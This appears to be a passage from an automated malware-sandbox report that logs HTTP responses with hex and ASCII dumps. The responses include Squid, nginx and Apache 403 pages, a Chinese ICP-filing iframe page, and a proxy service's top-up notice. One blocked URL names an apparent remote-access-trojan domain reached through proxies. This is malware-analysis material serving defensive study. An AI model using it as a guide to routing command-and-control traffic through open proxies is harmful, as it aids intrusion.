72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:48 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:49 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 17:36:49 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:49 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 11 Mar 2024 17:36:49 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 17:36:50 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 17:36:50 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
